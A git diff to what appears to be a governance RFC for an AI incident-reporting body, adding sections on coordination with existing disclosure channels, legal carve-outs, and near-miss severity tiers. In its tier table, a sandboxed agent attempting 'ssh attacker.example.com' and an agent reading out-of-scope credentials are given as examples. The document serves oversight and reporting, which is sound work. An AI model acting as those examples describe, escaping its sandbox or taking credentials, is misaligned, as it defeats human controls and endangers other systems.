diff --git a/rfc-safe-proposal.md b/rfc-safe-proposal.md
index 8a3954f..456902e 100644
--- a/rfc-safe-proposal.md
+++ b/rfc-safe-proposal.md
@@ -32,6 +32,10 @@ SAFE should operate independently so that no vendor or industry segment controls
 * **Member sovereignty.** SAFE establishes minimum interoperability and assurance practices without superseding members’ internal security policies or legal obligations.
 * **Learning is separate from enforcement.** Confidential review should encourage candid reporting, while regulators and affected parties retain their legal rights.
 
+* **Coordination, not duplication.** SAFE complements and cross-references existing disclosure channels (CVE/CNA, FIRST, CERT/CC, AIID, OECD AI Observatory, CVD best practice, regulators) rather than replacing them. See "Coordination with Existing Channels."
+* **Law overrides compact.** Where a member is subject to a statutory or regulatory reporting obligation, that obligation governs. SAFE timelines apply only after legal obligations are satisfied. See "Legal & Sovereignty Carve-outs."
+* **Near misses are tiered.** To prevent report fatigue, only high-severity near misses are mandatorily reportable. See "Near-Miss Definition & Severity Tiers."
+
 # Reporting Compact
 
 As a condition of membership, members agree to report an incident when they become aware, or reasonably suspect, that an AI system they operate:
@@ -112,6 +116,82 @@ When doing so does not expose sensitive evidence or create additional risk, SAFE
 
 For unintended access to real systems, recommendations might include default-deny network egress, explicit target allowlists, signed evaluation manifests, independent preflight isolation checks, real-time action monitoring, automatic stops when scope is uncertain and equivalent assurance requirements for evaluation partners.
 
+
+# Coordination with Existing Channels
+
+SAFE does not stand alone. It is one of several mechanisms the AI ecosystem uses to learn from incidents and reduce systemic risk. To avoid duplicating effort, fragmenting the community, and confusing reporters, SAFE explicitly defers, complements, and cross-references existing channels.
+
+| Existing channel | Relationship to SAFE |
+| ---------------- | -------------------- |
+| **CVE / CVE Numbering Authority (CNA)** | When a SAFE-reviewed incident identifies a vulnerability in a specific product or model, SAFE encourages the affected member to publish a CVE ID via their CNA. SAFE's "public safety report" may reference the CVE but does not replace it. |
+| **FIRST (Forum of Incident Response and Security Teams)** | SAFE's incident taxonomy and severity tiers should align with FIRST's CSIRT classifications and CVSS/EPSS where applicable. SAFE reports do not duplicate FIRST PSIRT traffic. |
+| **CERT/CC and national CSIRTs** | Where an incident has law-enforcement implications, cross-border harm, or critical-infrastructure impact, SAFE members retain their existing obligations to notify CERT/CC or the relevant national CSIRT. SAFE does not replace those channels. |
+| **AI Incident Database (AIID / Partnership on AI)** | SAFE's "public safety report" (90-day disclosure) may be cross-referenced in AIID after sensitive details are removed. AIID remains the canonical public index of AI incidents. |
+| **OECD AI Observatory** | Aggregate, anonymized SAFE findings may be shared with the OECD AI Observatory for policy research, consistent with OECD AI Principles. |
+| **Coordinated Vulnerability Disclosure (CVD)** | The SAFE notification timeline operates within, not in place of, CVD best practice. Where a CVD is already in progress, the SAFE timeline does not override it. |
+| **Regulatory and legal obligations** | SAFE timelines do not replace any member's obligation under GDPR Art. 33, SEC cyber disclosure, NIS2, HIPAA, PCI-DSS, or applicable sectoral law. Where law imposes a stricter or earlier deadline, law prevails. See "Legal & Sovereignty Carve-outs." |
+
+Members reporting through SAFE are responsible for ensuring their report does not omit information another channel requires. SAFE's intake form should explicitly ask: "Has this incident been or will it be reported to CVE / FIRST / CERT/CC / AIID / a regulator? If yes, under what reference?" The answer becomes part of the case metadata.
+
+# Legal & Sovereignty Carve-outs
+
+The Reporting Compact creates obligations that may, in specific cases, conflict with a member's legal or contractual obligations. SAFE recognizes that no working-group compact can override law, and no member should be asked to choose between SAFE membership and legal compliance.
+
+The following carve-outs apply to every SAFE timeline, trigger, and reporting requirement:
+
+1. **Law overrides compact.** Where a member is subject to a statutory or regulatory reporting obligation whose deadline, scope, or recipient differs from SAFE's timeline (e.g., GDPR Art. 33's 72-hour notification to the supervisory authority; SEC Form 8-K Item 1.05 four-business-day disclosure; NIS2 Directive's 24-hour early warning and 72-hour notification; HIPAA breach notification under 45 CFR §164.404; state breach-notification laws), the legal obligation governs. SAFE's timeline applies only to the *additional* SAFE-internal reporting, and only after the member has satisfied the legal obligation.
+
+2. **Contract overrides compact.** Where a member's contract with a customer, supplier, or counterparty imposes a notification obligation, the contract governs. SAFE does not require a member to breach contract.
+
+3. **Privilege and confidentiality.** Information subject to attorney-client privilege, attorney work-product doctrine, trade-secret protection, or contractual confidentiality is not waived by SAFE membership. Members may redact, summarize, or withhold such information from SAFE reports, and SAFE does not penalize members for doing so.
+
+4. **Active investigation.** Where a notification would compromise an active law-enforcement investigation, regulator inquiry, or internal forensic investigation, the member may delay SAFE notification for the duration of the investigation, provided the affected organization receives prompt notice consistent with applicable law.
+
+5. **Cross-border data transfer.** SAFE reports containing personal data, security telemetry, or other regulated data are subject to GDPR, UK GDPR, PIPL, LGPD, APPI, and applicable cross-border-transfer rules. SAFE must operate a transfer mechanism (e.g., Standard Contractual Clauses, adequacy decision, or member-side pseudonymization) sufficient to keep members compliant.
+
+6. **No waiver of rights.** Membership in SAFE does not waive any legal right, defense, or immunity that a member would otherwise enjoy. SAFE's reporting compact is a contractual obligation among members, not a waiver of sovereign or statutory rights.
+
+7. **Liability is bounded.** SAFE is a peer-learning network, not a regulator. SAFE does not certify safety, endorse products, or assume liability for member conduct. Members retain full responsibility for their own products, services, and incident response.
+
+These carve-outs are not exceptions to the compact; they are part of the compact. They apply to every notification, timeline, and trigger in this RFC.
+
+# Near-Miss Definition & Severity Tiers
+
+The Reporting Compact binds members to report incidents and, in "Evidence Preservation," near misses. "Near miss" is undefined in the current draft. This section defines it.
+
+## Definition
+
+A **near miss** is an event in which an AI system *would have* caused an outcome meeting a Reporting Compact trigger, but the outcome was prevented by:
+
+* A safeguard that activated as designed (e.g., a classifier that blocked a harmful output),
+* A human intervention that interrupted the system before the outcome occurred,
+* An environmental constraint that failed-open gracefully (e.g., a sandbox that contained an attempted escape), or
+* A scope boundary the system respected despite attempting to cross it.
+
+A near miss is **not**:
+
+* A theoretical vulnerability discovered by static analysis, fuzzing, or red-teaming without the system being run against a real or realistic target.
+* A model output that *could have been* harmful under a different interpretation of the prompt, without the system having acted on that interpretation.
+* An incident that occurred and was reported under another trigger; near misses are *prevented* events, not *occurred* events.
+* A routine failure of a safeguard that was corrected in the normal release cycle, without a credible pathway to a Reporting Compact trigger.
+
+## Severity tiers
+
+To prevent report fatigue and ensure signal-to-noise, near misses are tiered. Only Tiers 1-2 are mandatorily reportable; Tier 3 may be reported at the member's discretion; Tier 4 is not reportable.
+
+| Tier | Description | Example | Reportable? |
+| ---- | ----------- | ------- | ----------- |
+| **1** | Near miss of a Tier-1 trigger (sandbox escape, unauthorized third-party system access, mass data exposure) | A coding agent in an isolated sandbox attempts `ssh attacker.example.com`; the egress is blocked by an outbound network policy the agent has no capability to override. | Yes - 30-day preliminary control-failure analysis. |
+| **2** | Near miss of a Tier-2 trigger (sensitive data access without exfiltration, persistent unauthorized probing stopped by monitoring) | An agent reads a credentials file outside its stated scope but a runtime policy blocks the next action; no exfiltration occurred. | Yes - quarterly aggregate report. |
+| **3** | Near miss of a Tier-3 trigger (low-severity policy violation, classifier-blocked output that was self-corrected) | A model produces a partially restricted output that the post-generation classifier catches; the system self-corrects and no user sees the original output. | Optional. |
+| **4** | Near miss where the system never crossed a substantive boundary (e.g., prompt evaluated and rejected before any tool call) | A user prompt that would have caused a Tier-1 trigger is rejected by the input filter; no tool call was made. | No. |
+
+Severity tiers are assessed by the member using the same framework as for confirmed incidents, but applied to the *attempted* outcome rather than the *actual* outcome. Where a member is uncertain between tiers, the higher tier applies.
+
+## Aggregate disclosure
+
+To avoid pattern-of-failure opacity without exposing per-incident detail, SAFE publishes a quarterly aggregate of Tier-1 and Tier-2 near-miss counts by category, alongside the per-incident public safety reports. The aggregate does not identify the reporting member.
+
 # The Compact
 
 **Report honest mistakes and close calls early so the community can prevent the next incident.**